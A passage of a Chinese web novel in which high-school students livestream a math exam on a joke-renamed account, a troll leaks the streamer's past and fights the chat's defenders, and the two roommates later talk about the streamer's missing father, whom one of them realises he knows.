杨妙怕抓错位子,大家不满意,赶紧摆手:“不不不,我手气不好,你去抓吧。” 刘丞丞自信地一挑下巴:“放心吧,什么手都只能抓到12组,你就去,别怕。” 杨妙只是胆怯,但她不傻,登时听出了不同寻常的味道。然后她环顾半圈,就见方笑贻、谢恒、陈文宣几个,全在边煦那儿。 她登时以为,他们在那儿搞抓阄的内幕。 可实际不是,他们搞的,是直播的内幕。 “嘿嘿嘿嘿~” 谢恒倒趴在边煦桌子前面,笑得可太奸诈了:“我的计划是这样哈,先去网上喊个垃圾话,艾特那个枪花,再去发个通知。明天,我也研究一下怎么搞双屏,最后明天晚上下自习开整,怎么样?” 方笑贻不关心这些,陈文宣是个锯嘴葫芦,至于边煦前面那两个,马嘉南斯文、陈尧话少,都没意见。 只有边煦有意见,他靠在墙上小声说:“别弄那些,你就发个通知,今天晚上9点45开始,挂方笑贻的账号,我用他的。” 赶紧播了,赶紧解脱。 谢恒觉得这样不够爽,他们都被骂了一天了,下了自习就开始,耀武耀威的时间都没有。另外还有,他说:“你为啥要用方老板的账号?你没有吗?” 方笑贻本来也有意见,多传播一天,他多涨一天粉哪。 但是边煦来了句:“方老板要当李佳琪,我在给他当牛做马。你们以后有什么泼天的流量,也别忘了,带带他。” 方笑贻登时又闭嘴了。 谢恒虽然苦鄙视久矣,但边董说什么就什么好了,只要不让他自己去考。于是回去就把通知和考卷投票发了。 第二节课前,班上调了座位。 方笑贻很快搬着书,去了边煦的左边。杨妙坐他自己前面,刘丞丞在她右边。 高蓬喜欢让大家自习,上课的时候,方笑贻就往后预习,边煦在他旁边刷17年的卷子。 方笑贻看见他写了个名字,直接就从大题开始了。 跨了难度,那个速度竟也不慢,卷面工整,字也好看。要是把头发好好剪剪,今晚评论区的尖叫肯定会比昨晚更响。 一下课,边煦就停下没做了,人也跑了。 方笑贻一看,以谢恒为中心的那块,已经有人在往这儿看了,自己当机立断,也跑了。 他上了一层楼,在3层的走廊角上看手机,看见他姐那个[晴天杂货铺]的账号,还没开播,已经涨了600多个关注了,比原来的159已经快翻上4倍了。 这流量,方笑贻笑了会儿,又觉得自己的号,是不是有点太平平无奇了。 第三节自习后半,边煦卡住时间,把笔放下了,一抬头,就见他的老板新同桌,正在隔壁打草稿,但那草稿,没一个是数字: 有间杂货 货福相依 友趣小店 万有仓 /都不咋地/ “这都啥?”边煦蛐蛐道。 方笑贻往右边一惊,见他脸得近得很,又往后面微微一仰,悄悄说:“就我那个账号名,我想改个有特色的。” 边煦说:“都可以啊。” 方笑贻说:“可以啥啊,这都是我在网上抄的。” 边煦:“……那你再想想。” 或者说,抄抄也行。 可直到下课,两人火速回到寝室里,方笑贻还没想出来。 但是谢恒已经张罗好卷子和手机,在赶他了:“委屈方老板,去我榻上歇息片刻,走走走,全走。” 方笑贻只好出去了。 边煦把口罩戴上了,看他忙活半天,啥也没变,就对着他背影问道:“id,还改不改了?” 方笑贻反手开始带门:“不知道改啥,算了你写吧,好好写,考个145就行了。” 边煦立刻就扭头了:“你走吧。” 方笑贻就把门拉死,到谢恒的寝室去了,只是人才到门口,就听见同学在屋里说:“耶?怎么换id了?” 什么id? 方笑贻打开手机一看,眼前顿时一黑又一亮。 因为他姐的账号,忽然从[晴天杂货铺]变成了: [性感小方 在线卖酱] 头像则变成了边煦那个微信头像的ps版:一个妖娆的、贵妃卧鱼状的小机器人,但它的头不是机器人的头,而是一块四四方方的“发财”麻将—— 坏消息:这不像是个什么正经的店。 好消息:他现在是有特色了,一个卖酱的,人方“头”也方,又性感,还很发财。 然后边煦还怪贴心的,他用的是个红色的麻将,不是绿的。 第27章 改好id,边煦戴了个帽子,就点了开始。 唐悦本来想弄双屏,可时间上根本来不及,就跟外国语和九中那么普通地开始了。 但这id它够雷人,所以开场也不算特别普通: [Yang]:哈哈哈一中是来搞笑的吗一中 [叉叉]:噗这个账号,为啥跟前面仨画风差那么多? [……]:an?不是姓边的吗?咋成性感小方了? [甜饼]:不是自己的号吧,六中的煮包也是用的室友号 [今天你背单词了吗]:好的知道了,卖酱的 [拉布拉多]:hhh性感,有多性感?够的话,这酱我买! [甜又甜]:+1 然后就是n个+1,多到令方笑贻始料未及:恶搞的力量这么大吗?还是反差让它的有趣升级了? 可想不来了,边煦整完活,就甩手刷卷子去了,放着这么多的潜在客户,在直播间里叫天天不应。 造孽啊。 方笑贻赶紧把自己的乱码小号,改成[性感小方本人],进去客串客服了。 [性感小方本人]:比“好累感觉要晕倒了”表情包还性感 [性感小方本人]:够不够[苦涩] 刘丞丞见状瞬间笑喷,看热闹不嫌事大,也改了。 [小方本人同学]:我证明,他说的是真的 谢恒一看,也不甘示弱。 [小方本人班长]:官方证明 寝室里的也跟着起哄,一瞬间,[小方本人同学ABC、甲乙丙……]刷得到处都是。 * 同一时间,六中1203寝室。 “哈哈哈哈!” 唐悦侧躺在上铺,正右手举着手机读评,左手在拍床:“一中到底是个什么鬼地方啊?” 做卷子不是很严肃的事吗?为什么屏幕上全是性感和酱啊! 六中不收手机,全校wifi覆盖,这会儿95%都在共襄盛举,他对铺下面椅子上的程慎也不例外。 这个满屏都是的[性感小方],叫方笑贻,昨日白天,唐悦才说过:他前夜救了边煦的狗命。 现在,边煦又顶着个截然不像他作风的账号来开播了,他怎么了? 程慎看着也出奇,忍了又忍,还是没忍住说:“这个小方,就是边煦那个新室友吧?他是个,搞笑男吗?” “噗!”唐悦忍不住笑得更密集了,“你是搞笑男他都不是。” 程慎一瞥屏幕,彻底搞不懂了:“那他人什么样?” 唐悦没理他,自个在那把抽疯的笑劲卸完了,才正色起来:“方老板啊,乍一看不是很厉害的,斯斯文文的,也会说话,我上次画得跟个鬼一样在马路上跑,他还夸我酷呢。但杠上你就知道了,拽得很,也是犟种一个。” 可他们都挺犟的,但程慎就不知道,该怎么令边煦妥协。 但这场直播的观感很明确:边煦遇到克星了—— 真是金风玉露一相逢啊。 程慎心里幸灾乐祸,面上却只是温文一笑:“听起来挺有意思的一个人,有机会可以认识认识。” “等着,我开演唱会叫你们。”唐悦巴不得他们都认识,这样交集才会变多,他跟边煦才更有可能和好。 不过眼下这事太远了,唐悦刷着手机问他:“煦子开始了啊,你有什么想说的没?” 程慎诚恳地说:“帮我祝他不及格。” “滚!你不要脸六中还要呢。”唐悦一边说,一边瞥见乱刷的[小方]洪流之中,有寥寥数语一闪而过。 [挽山河]:主播有大病 [Edge]:数学是还可以了,但人品不行 但因为这会的主角是[性感],它们就像水滴入海,迅速被刷走了。 不过流量来如洪水,去时也是。很快,话题就回到边煦身上去了。 他虽然不剪头发,还戴帽子口罩,但骨架和手是挡不住的,颜值派首当其冲地来了。 [紫萱]:主包啊,你咋遮得啥也不剩了 [九亿少男的梦]:但我学美术的会透视,这是帅哥 [小骚]:还有这个手,我也可以! “表白姐”也闻风而来。 [A寻梦]:姐客观地说,他脸,一个字,帅,但发型,像屎 方笑贻觉得她说得也没错,就也很客观地给她点了个赞。 底下立刻有人问她:[哈哈哈那姐今天还表白不] 这位姐也现实得很:[看分数吧,要是很高我就勉为其男] 屏幕上笑声一片,但里头的边煦不知道,下笔如飞地已经做完了一个大题。 而不关心颜值的学究派,同步就跟着把题改完了。 [Echo]:(17)+10 / 小计:10分 [清水王]:一中的卷王做题挺快啊 [lalala]:泉师数学最强,懂的都懂 [我要当甲方]:听起来要赢的样子 [爱吃肉]:不认识 [楼上去死]:为边总打call 又半题过后,评论区有认识他的,也不吝夸赞,给他镀上了一层“数学状元都比不了”的逼格。一中的同学也有荣誉感,加油、鲜花刷个不停。 方笑贻再一扫关注和点赞,已经远超同时段六中的那场了。 争气!牛笔! 方笑贻对着屏幕,欣赏地看了他一会儿,然后就把直播放进后台,去网上偷酱瓶子的图了。 当流量来了,但人设是崩的,那怎么行? 边煦这么一改,他简直猝不及防,因为原来的[杂货铺]里,没有一丝和酱有关的东西。但这不是边煦的错,是他没有做好准备。 方笑贻忙着亡羊补牢,在各个app里乱窜,好一会儿也是头也没抬。 直到谢恒一声谩骂:“卧槽!这是哪来的贱人?” 他才抬起头,看见对铺的同学或在看手机、或在看谢恒,但脸色都不好看。方笑贻赶紧回直播间一看,里头已经吵翻了。 [Edge]:有些人真的是狗啊,神经病都能舔 [辣郎]:哈? [姜丝]:我看你更像神经病呢 [Edge]:我不是,但**真是 [Edge]:唷还屏蔽呢,不过汉语博大精深,**是** …… 然后这个号,他攻击人,再被人骂,也被t了三回,每次换号回来,人就更癫了。 [你的诚]:好啊t我封口是吧,我看看你们有多大的权力! 另一个叫[挽山河]的id,,估计也是他,或者他朋友的。 [挽山河]:主播有病的瓜,可以进本人主页看,绝对精彩 这条,他一口气刷了五六遍,等被谢恒t掉的时候,直播间人数也跟着掉了几百,大概随他而去了。 方笑贻也跟着去看了一眼,看见这人主页里有个置顶的图文,是个新闻截图。 标题:痛心!在读初中生被抓走,只因…… 附图:一黑白校服学生被两警装成人扭送上车 那照片只是配图,原来就小,脸也在车里,压根看不清是谁。 可那个新闻的发布者,却刺得方笑贻眼皮一跳:榆临早晚报-孙竞东(金V) 一瞬间,方笑贻心想:酒鬼,以前竟真的是记者。而这就是边煦找他的原因吗?也不对,他找记者干什么? 方笑贻想不通,先点了个举报,回直播了,但这里头已经炸锅了。 [阴暗爬行]:真的假的我去 [旷野]:假的吧,我看煮包比这喷粪的正常一万倍 [时旧]:脸都看不到,存疑 [苏苏酥]:泉师路过,这事我记得 [Blance]:姓是对的上的 [不如归来]:卧槽实锤+1 …… 学生的日常枯燥往复,哪里见过这种状况?登时一个比一个猎奇,消息刷到极度快。 谢恒焦头烂额,尽管自己心里也好奇,但边煦还在为一中刷题,而他的隐私碎片正在迅速掉落。 可这一切,边煦都不知道,为了防止主播在留言区抄答案,用的都是后置摄像。 屏幕里面,他写完19题后,早就从头开始,这会都已经写到填空题中间了。 至于给他打分的,早就不知被冲刷到哪儿去了。 方笑贻眼底留言如沸,也不知道他那一身沉静与专注,在直播结束之后,还能维持多久? 他会生气吗?不生气才怪吧。 怪不得他不愿意来直播,可搞成这样,怪自己吗? 方笑贻心里也觉得冤,他对此不知情。边煦也没……算了马后炮,不许说。 方笑贻眼睛一闭,本来是心里想叹口气。 可这时谢恒忽然说:“不行不行,屏蔽词满了,不然我先禁言……” 方笑贻忽然睁开眼睛:“别禁。” 禁了就跟真有病似的。 还不如去敲门让边煦别写了,问问他想怎么办。 “可已经扒到他家住哪儿了。”谢恒着急的是隐私。 边煦家在檀溪,也是一个够让人仇富的地方。 方笑贻登时看了刘丞丞一眼,还没开口。 刘丞丞直接被气语塞了:“我、我靠!没病,没病!这是误会,谁跟有病的玩啊?” 但他上去解释过,也有一些解释的声音,但没带起水花,这种消息不带劲。 这时,另一个新号[躺板板],甚至把那张新闻做成了头像,进来重新刷了起来。 方笑贻再次看见它,心里的火忽然就拱成了一大丛。 被人当众羞辱的感觉,他懂的,他非常懂。 然后他脑子就被共情烧焦了,只剩嘴巴在那里越俎代庖:“班长,把他置顶。” “把谁?”谢恒没get,但看他没了表情,像是生气了。 方笑贻指了下他的屏幕:“这个,[躺板板]。” 谢恒一下没反应过来:“你想干嘛?” 方笑贻扯了下嘴角,但眼角没动:“给他点赞啊。” 这么爱说,给他多点一点,点个500+上千的,他想必也会很开心。 第28章 22:54分,六中1203室。 “Thunder booms have got me scared。Lighting strikes……” (天雷滚滚我好害怕,劈得……) 唐悦从浴室出来,抱着个弹贝斯的假动作,甩着头唱到自己桌边,再把手机一拿,破音了。 “沃日!这什么啊?”说着他伸长右腿,蹬了程慎的实木椅背一脚,“煦子被人网暴了,你怎么不叫我?” 可程慎在对面刷“函数与导数”视频,根本不知道他在说什么。 他的心一定戒过毒! 唐悦又蹬了他椅背一脚,懒得理他了,埋头正要上网冲锋:[孙X诚,别装了,嫉妒恨可以,但造谣是犯……] 这个号前面,用过一个[你的诚],唐悦敢肯定,号背后100%是孙骏诚。 那新闻就是他那个缺德爸写的,而他妈妈是泉师信息中心的主任。说起他跟边煦的梁子,确实有,夹在他爸和于静涵之间,也是老太太的裹脚布,但唐悦觉得是他活该。 结果现在来搞这出,唐悦脸一皱:疯了吧! 他大拇指在26键上狂点,只是“法的”还没顾上敲,却见评论区忽然一跳。 [躺板板]被加粗置顶了。 紧接着,[性感小方本人]也顶着个管理员紫标出现了。 [躺板板]:主播有神经病/在读初中生被抓走/瓜在我主页 [性感小方本人][紫牌]:同学,给你置顶了,现在你是直播间最亮眼的家人了,别再一条消息刷10遍了,影响别人[握手] 哦豁。 唐悦眉毛霎时一挑,他把方笑贻没辙,恒等一下,就是方笑贻把别人更有辙,那他……他一屁股尖坐在椅背上,端着手机观望了起来。 而背后咋呼到一半,忽然就没动静了,程慎回头一看,竟然看见他在,耐人寻味? 程慎:? 同一时间,直播间里,群众有戏看,评论流速立刻变慢了。 [lele]:[吃瓜]x3 [发红包]:小方不性感了,有点强势 [咸菜不咸]:霸总行为,爱了 [躺板板]呢也是贱。 谢恒越t他越跳,生怕别人看不见,现在发个[挖鼻屎]都持续全员可见,他倒是忽然静止住了。 方笑贻见他不动了,抓紧又问刘丞丞:“边煦为什么会被警察抓走?” 虽然脸看不见,但那个头身比例,还是像的。 刘丞丞已经凑过来了,正在陈文宣隔壁铺上,闻言哭笑不得:“艹,那不是警察啊!就是得精神病也用不着上警察吧?他又没有在学校砍人裸奔。那就是训诫中心的工作人员。” 方笑贻瞬间反问:“保安是吗?为什么要训诫他?” 他发问和语速都快,刘丞丞有点跟不上他,卡了下,语速也不由得被带块了:“不是保安,就是训诫中心的老师,他们故意穿得像警察,还说是什么强戒所的,门卫才让他们把煦子带走的。” 至于训诫的,刘丞丞不以为意道:“也没什么啊,就是网瘾嘛。” 寝室里一下鸦雀无声,那是集体无语的沉默。 网瘾? 方笑贻难以置信,又一言难尽地心想:边煦居然有网瘾?不过他现在看着,倒真像是戒过的。只是,他被搞得像个罪犯的原因,为什么要这么朴实无华啊?在家里偷偷被抓走,不行吗? 方笑贻刚要醉,网吧门口的那一巴掌,又忽然从脑海中闪了过去。 所以闹得这么戏剧,是跟他家里…… 还没琢磨完,余光里的置顶,忽然又变短了。 [躺板板]:你是**的新狗腿子吗 * 一刻钟后,据刘丞丞奸笑出声地回味:“那可真是一场酣畅淋漓的吊打啊。” 但是边煦不关心,他只知道,他做题做到11点,检查了10分钟,又提前5分钟结束了。照卷子留档的时候,评论区看着挺正常的。 [盐不甜吗]:提前交卷,b-king行为 [搞点yellow]:啊哦煮包正脸刚一闪而过了 [爱得完蛋]:师傅我也看见了,是睫毛精! [Ehco]:如果我没对错,得分就是124了 [771]:叫人??? [Cinna]:卷王之王,我就押这个了 …… 水得一如既往。 边煦就没多看,扫了眼顶上的人数、点赞量,人数2w+,点赞8w多,也不知道是点的什么。然后他就退出去了,看见方笑贻的粉丝变成了7000多。 翻了40倍多一点。 边煦一边心想,应该满意了吧?一边随手拉开了门。 门外,3楼口子上也一票子人,正乌泱泱地往下冲。 “卧槽!边边我的董事长!咱们是124?是不是?!” 打头的个子小,那个兴奋但克制的声音和腔调,一听就是谢恒。 “跑不了!”刘丞丞也看不清是哪个,“你没看评分的那个E什么说吗?他没做的和打了圈的,加起来刚好就26,哈哈哈太装比了!” 陈文宣倒是明显一些,他的发型让他的头顶是尖的:“嘘,小点声,小心楼栋长又来了。” 又? 边煦咂摸住这个字眼,随后目光在人影里一扫,却没看见方笑贻。他很好认的,头包脸,脖子也长。 然后边煦开口一问,那一波下来的就集体安静如鸡了一瞬。 接着谢恒最先跑到门口,这里比楼梯间亮多了,因为边煦用emo1打了个电筒光。 “呃,这个,他,”谢恒脸上的喜色,很快变成了哭笑不得,“他被楼栋长捉走了。” “……”这实在是边煦无法理解的走向,他满头雾水道,“……他干嘛了?” “他……” 背光里,谢恒打量了下他的脸色,没看出什么异常来,胆子就大了些,推了下他:“来,屋里细说。” 五、六分钟后,边煦扒拉着谢恒给他拖到位置的回放。 只见屏幕里,有几个id说他有神经病,还让人去他主页看瓜。但边煦点了3个,结果那3个都变成了[用户已注销]。 后面,倒也还能看见,所谓的瓜就是自己被训诫学校的人抓走过。然后有人在泄露他初中的一些事。 边煦看着这些,很难不皱眉头。 他是当事人,也看出这背后是孙竞东的儿子,孙骏诚了。 他们是有过一点过节,在一个校园外的机器人编程小比赛上。当时孙骏诚什么也不会,纯粹就是来划水的,他还不学,一副等着得奖的样子。边煦看不惯他,故意输得很惨。孙骏诚就记恨上他了。 但为这么一点事,至于这样吗? 边煦不理解。 而对谢恒来说,他刘海太长了,实在是个问题。 谢恒看不到他的眉眼,摸不准的他的情绪,但自己代进去一想,也觉得挺难堪的,就拍了下他的膝盖,语气很关照:“边煦,你没事吧?” 刘丞丞看他也还没看到翻盘的地方,赶紧伸出食指,在他屏幕一划:“方老板后面打他脸了,啪啪的,他一声没敢吭就溜了,你看。” 视频就到了[躺板板]问“狗腿子”那里。 边煦眼睛本来就垂着,那卷动的字幕便一下进了瞳孔。 [性感小方本人][紫]:你是不是没朋友啊 [性感小方本人][紫]:为什么词库里不是舔狗,就是狗腿子啊[疑惑] [Melon]:hhh性感老板嘴有点子微损啊 [不穿秋裤]:+1 [来杯翔]:那一天,酱老板说,卷王是他的朋友…… 网友有时很会戳人笑点。 边煦神经兮兮的,就被这个“那一天”戳中了。 什么鬼啊,都是。 然后他一闷笑,寝室里“察言观色”的气氛才瞬间散去。 刘丞丞一屁股挤到他旁边,叫他再往后看,说更解气。 然后边煦就看见,[躺板板]叫方笑贻别抖机灵,说抖机灵也改变不了**有病的事实。 方笑贻一回一长串。 [性感小方本人][紫]:他有没有病,最该操心的人是我,是我这个,现在跟他住在一起的人,而不是一个现在遥远而未知角落的你,好吗 [小方本人班长]:其实我们都在看哈,但不当刷子,就不说什么了,作为代表+47 边煦看到这里,隐私被撕开的反感就被安抚了不少,他没再皱眉了,甚至还多了点心思看热闹。 评论区跟着就变了,开始说有道理,又说本来就感觉那个号癫癫的。 [躺板板]过了会儿又说,那个新闻怎么解释? [性感小方本人][紫]:我们为什么要给你解释?请问你是谁?姓姚还是姓严?实名举报制,大家都懂的。你说你是谁?我就给你解释 [躺板板]又不吭声了。 但方笑贻不肯放过他,说已经出去给他点过赞了,叫大家也帮着点一点,他室友名誉受损了,一会下来破防了,赞过500,也还有个挽回一点损失的机会。 “哈哈哈其实我们早就偷偷把赞点了100多个,”刘丞丞乐不可支,“所以他不到一分钟,就吓得把作品删掉了。” 其他号上的,也是一样。 边煦又翻了翻,方笑贻叫他道歉,他没有,人和号集体消失了。 但这样才像个造谣的,评论区骂了他几分钟,直到准备开始扒他,方笑贻才出来叫停了,说时间快到了,不想让主播看见这些,刷走谢谢。 再往后,边煦暂时就没看了,只说:“楼栋长为什么把他抓走了?要抓,不也应该是谢恒,或者你吗?” 刘丞丞不爱听了:“我靠凭什么抓我?” 谢恒同时又说:“栋长来偷袭的时候,我们寝室有一半人不在床上,他说他知道今晚有特殊活动,已经睁一只眼闭一只眼了,但只有我们最过分,必须得抓走一个,杀鸡儆猴。我说了的,我是班长抓我,但栋长不听我的,在座各位都可以为他作证。” 边煦点头说知道了,又听他们吹捧了几句,就叫他们回去睡觉。 谢恒也说边董累了,散了散了。把人赶走了,他最后一个出门,出门前还偷偷给边煦道了个歉:“不好意思啊,我不知道会搞成这样。” 边煦顿时觉得,他们都挺好的。 “没有人知道,”他说,“跟你没什么关系,回去睡吧。” “你先洗吧,”谢恒说着还给他把门关了,“我去接方老板。” 边煦坐了一秒,屁股还在方笑贻床上,而屋里空旷又安静,他环顾了一下,忽然感觉到了一点寂寞,平时都有人陪着他的。 于是他立刻喊了一声:“班长。” “an?”门外谢恒听着是跑了,又跑回来了。 边煦起来拉开门,对他说:“我去接,坐僵了,我出去活动一圈。” 第29章 他为一中抛隐私、夺高分,谢恒什么都能答应他,更何况还是个苦力活。 只是边煦下了楼,宿管室里黑灯瞎火,方笑贻俨然已经被“释放”了。边煦一边放下心,另一边又莫名其妙的,有一点落空的感觉。除了边扬,他实在很少有想接的人,结果扑了个空。 等再回到寝室,他才看见3层的楼梯坎子上坐着个黑影,没玩手机,但也没发现自己上来了似的,在那一动没动。 坐着,睡着了? 边煦纳闷地敲了下栏杆:“方笑贻?” “嗯?”方笑贻应得很快,他没睡,只是在走神。 “怎么还坐下了?”边煦想不通,“我出去也没多久吧?” “啊?”方笑贻哪晓得他出去了,“我以为你去洗澡了。” 喊了会儿,没人理,扒门自己也幻听,一会儿像有声音一会又像没有,再一想边煦洗澡的时长,方笑贻就坐下了。正好,他也想静静。 边煦本来摸到钥匙了,应该去开门。但一听到这么灭绝人性的评价,又把钥匙扔兜里,过来蹲他面前了。 方笑贻已经撑着膝盖,起来了一截。结果他从上面往下一压,再起就得撞到头,方笑贻只好又坐回去了。 两人在漆黑里干瞪眼,呼吸若有似无地扫在脸上。 方笑贻有点不自在,说:“干嘛?” 边煦却很无语:“我不至于这么不管你的死活吧?” 一般不至于,但酒鬼是二般的。 方笑贻先前吵了架,肾上腺素分泌多了,这会儿可能还没用完,想也没想就说:“那谁知道。” 他语气没往上扬,其实也不呛。 但边煦就是不爱听,盯他道:“你凭什么不知道?我都专门下去接你了。” 方笑贻心里被什么撬了下似的,倏然愣在了夜色里。 接他?为什么要接他?他就,下个楼而已—— 但动容非要往外冒,虽然只有一点,一点点。 方笑贻看着跟前的黑影,心里实在五味杂陈。 直播那会儿,他反应过度了。边煦又不是没朋友?事后回头看,他真是戏多到尴尬。 然后,宿管把他手机没收了,还叫他明天交检讨,他也不爽。 最后,他每次碰到边煦的破事,就会降智。 刚刚坐在这里的时候,方笑贻还在想:理论上,他应该离边煦远一点。 但是现在,他的嘴又在说:“行了我知道了,开门吧。” 但边煦没动,依旧盯着他:“你怎么了?宿管训你了?” 方笑贻在心里叹了口气,缘由自己都说不通,就让宿管背黑锅吧,他说:“嗯,把我手机收了。” 边煦心里就有点好笑:怪得不高兴呢,手机是他重要的敛财工具。 “那你先用我的,明天让高总给你拿回来。”边煦说着起身,把他也拉了起来。 但是方笑贻忽然用右手压了下他的膝盖:“等会儿,再唠两句。” 边煦就不动了,入乡随俗道:“唠啥?” 方笑贻是在结果出来前被抓走的,这会都还不知道结果。 “你赢了没?”他说。 边煦说:“应该赢了。” 方笑贻把手一摊:“手机拿来我看看。” 边煦解锁给他了,嘴上又说:“不能回屋里看吗?” 非要蹲在这里,有蚊子咬他。 方笑贻一边开他的D音,一边经验老道地说:“不能,进去就只能洗了睡,不能说话,一说就很容易蛐到半夜。” 边煦笑了一声:“不可能,我不跟你蛐。” “放屁,”方笑贻说,“人性本蛐。” 边煦就又笑,自从他来了一中,笑点就变得不值钱了。 随后,方笑贻其实是随口问的:“直播间那个神经兮兮的号,是什么情况?” 因为他拉进度条的时候,不小心拉到了那个[你的诚]出现的地方。 但边煦迟疑一瞬,居然把他往右边推了推,随即坐在他左边,小声说:“那个号背后的学生叫孙骏诚,是我初一班上的一个同学,他也是孙竞东,也就是酒鬼的儿子。” 方笑贻听到最后,背上忽然没由来地一凉。 边煦好像,生活在一种复杂的生活环境里。 这一刻,他在向自己袒露他的过去。袒露了,然后呢?离他太近了,自己也会无所遁形。 可方笑贻的过去,也挺痛苦难堪的。 所以他不该听的,理智上。 可实际上,方笑贻很快听见了自己好奇的低语:“所以,这个孙骏诚这么发疯,跟酒鬼有关系吗?” “有啊,”边煦扭头看着他,虽然也看不见什么,“孙竞东以前吃公家饭,挺体面的。现在却变成了你在四海看到的那个样子。你觉得作为一个孩子来说,这两种爸爸,对他的人生会有影响吗?” “有,”方笑贻年纪不大,但他懂得个中分别了,因为老杨教过他很多。他说,“孙竞东有能力托举他的儿子,而酒鬼只能拖后腿。但……这跟你有什么关系?” 除了唐悦和程慎,边煦真的,从没主动跟人说过这些。 但这个夜晚,除了方笑贻在网上那样咄咄逼人地维护他,边煦心里也一种本能驱使的直觉:自己应该告诉他。 他们总是在遇见,有种看不见的引力横在他们之间。 边煦说:“我觉得没有,但他和酒鬼都说有。” 方笑贻问他:“为什么?” 边煦说:“因为我妈曾经给孙竞东介绍了一个兼职,挺来钱的,他就把工作辞了,专门去干那个,结果越混越穷。” 方笑贻被他说懵了:“他把你拍成神经病了,你妈干嘛还要给他介绍来钱的兼职?哦?反过来倒是说得通,你妈先介绍兼职,把他搞破产了,然后他报复你妈,把你写得像神经病,报复你们家,是吗?” 他还挺会掰,边煦笑了会儿,才说:“不是,现实就是正着来的。” 很讽刺,也很伤人。 “他写了我的报道,我妈联系他删掉,一联系发现他心术不正,又很会挖掘别人的隐私,就委托他,帮忙找个不见了的人。” 方笑贻感觉自己有点听不懂汉语了:“心术不正为什么还要找他?委托他找谁啊?谁不见了?” 边煦沉默了好一会,才忽然侧身歪向他,把头塞进了他左肩窝里。 方笑贻肩膀一沉,耳朵和脖子都被他头发扫得发痒,正要抖他,就听见黑暗里幽幽地冒出一句。 “我爸。” 第30章 方笑贻动作一顿,所有的注意力,眨眼间全拿去头脑风暴去了。 边煦的爸,不见了吗?怎么会不见了? 然后,他妈委托了酒鬼找他爸,所以…… 方笑贻愕然扭头,本能是想看他的表情,可左边除了一片黑暗,只有一蓬扫脸的头发。 但是这样也挺好的,边煦应该也不想让他看见什么。 “所以你,”方笑贻又把头转正了,因为未知和逻辑不畅,语气显得有点迟疑,“去四海找酒鬼,其实是为了找你爸,吗?” 他真的一点就通,这才几秒钟,就反应到这了。 边煦想起了一句直播评论,懒洋洋地说:“性感老板真聪明。” “性感个蛋,”方笑贻现在是严肃老板,“可酒鬼在四海有两年了,我虽然不敢说,他一年365天都在喝酒上网,但250天应该是有的。像他这种……” 懒散?堕落?得过且过? 方笑贻一时找不到合适的词,又想了想才说:“天天喝得东南西北都分不清的酒蒙子,你确定,他还知道你爸的下落吗?” 边煦十分直白:“不确定。” 不确定就该找个确定的。而他不找,说明酒鬼,已经是他最好的选择了吗? 可他妈妈不是委托酒……不对。 一瞬间,方笑贻终于意识到了一切违和的关键:假设他妈妈,并不想找到他爸爸,那样一切才说得通。 可是,为什么? 楼梯间里一阵沉默。 边煦难得当回王婆,买瓜的居然还不给面子,反倒把他等诧异了。 “你怎么不说话了?”边煦说,“不会是偷偷在骂我吧?” “骂你什么?”方笑贻回过神,“蠢吗?” 边煦了然道:“果然是。” “边儿去,”方笑贻说,“我在想。” “想什么?”边煦一副凑茶话会的语气,“我也要听。” 方笑贻觉得他有病,谁会想听别人非议自己啊。 但是痛苦,痛苦又是需要倾诉的,曾经他向老杨倾诉,现在,居然也轮到他听别人说了。 方笑贻两肘搁在膝上,他把自然垂落的手指叉起来,大拇指先交换了一个上下,然后把疑问的指针拨回了原点,他说:“你爸为什么不见了?” 边煦心脏立刻被扎似的缩了下,在想:自己怎么找了个这么扎心的聆听者啊?一点都不疗愈。 可下一秒,他又听见方笑贻说:“我的爸不见了倒是好说,他出意外去世了。” 别人的痛苦,大概真的有点比下有余的安慰作用。 边煦瞬间被这个对等披露的消息震住了:好家伙,现在乍一听,方笑贻比他还惨了。 他一下不知道说什么好了,只能右手一搭方笑贻的背心,掌根不离地轻拍了两下:“……不好意思,节哀。” 方笑贻倒没觉得有什么了。 曾经天是真的塌了,但他现在把它顶起来了,他说:“嗯,节过了。别跑题了,你爸呢?” 边煦放下手,斜撑在了他背后的上一坎台阶上,并且忽然也没那么难以启齿了,大抵是因为世上真的很少有什么,能比死亡还难跨越了。 “我爸他,”边煦说,“脑子有点问题,你可以理解为精神分裂。他不喜欢在家待着,他就喜欢出去游荡。但出了门也容易惹事,一惹事就会被送进精神卫生中……” 耳边的话还在继续,方笑贻脑中就冒出了一句:那不是很像老杨? 但是老杨没钱啊,老婆也说去世了。而且老杨也不是因为喜欢,才在外面流浪的,他只是忘了,他的家在哪儿。 然而饶是有这么多的不同,但方笑贻还是忽然,感觉到了一阵毛骨悚然。 因为一旦置身于“边煦的爸像老杨”这个关联之下,他就很难不去意识到:边煦像谁了! 他像老杨,眉眼是像的,眼睛尤其像。然后整张脸,也是有点老杨桌上那张儿童照片的影子。 还有,BY—— 方笑贻忍不住打了个机灵:他一直以为,老杨姓白来着,因为他以前没见过姓边的。 边煦说着说着,靠着的人就打了个哆嗦。 可吓到应该不至于,他毕竟连夜墙都敢翻。 边煦只是有点疑惑,头刚离开他的肩膀,准备去看脸问一句:怎么了。 可谁知他就更快的,被方笑贻连拉带拽地推起来说:“边煦你爸,他、是不是……叫边杨?” 边煦一瞬间如遭雷击,心脏抽颤,从鼻尖酸透到眼眶。 方笑贻在、在说什么啊? 但直觉告诉他,那是一个惊喜。于是边煦心脏狂跳地抖着手,但更快而用力地抓住了他的肩膀。 “是!他是叫边杨,边长的边,飞扬的扬。你,”边煦哽咽而期冀道,“你认识他对吗?” 天。 方笑贻也被巧了个晕头转向:居然真是。 但他口齿清晰地说:“嗯,认识。” 边煦立刻又问:“他死了吗?” 方笑贻一怔,又想气又想笑,就往他胸口捣了一拳:“滚,别瞎扯淡,他好得很。” 边煦笑了半声,眼泪倏然就滚过了下巴。 他真庆幸,没有回寝室去说,否则emo1会让他显得很挫。 但黑暗里,一点微微温热的水滴,却砸到了方笑贻右手的虎口上。 他有点无所适从地蜷了下手指,然后扭过大拇指,将那滴泪水,在食指侧面捻开了。 之后,出乎方笑贻意料之外的是,边煦竟没有缠着他问很多老杨的事。 他只问了“老杨健康吗”、“现在在哪儿”,得知答案是“应该健康和不知道”后,就忽然站起来,拉着方笑贻回去洗了。 不过今晚,是他先洗的,他说有点累了,想先洗。 而他忽然变成了老杨的儿子,方笑贻也是恍恍惚惚的,别说先洗澡,就是边煦要借1000块,他大概也会闭眼给。 但是边煦没洗很久,乌鸦过水一样冲了下,很快就出来,爬上床,对着墙去了。 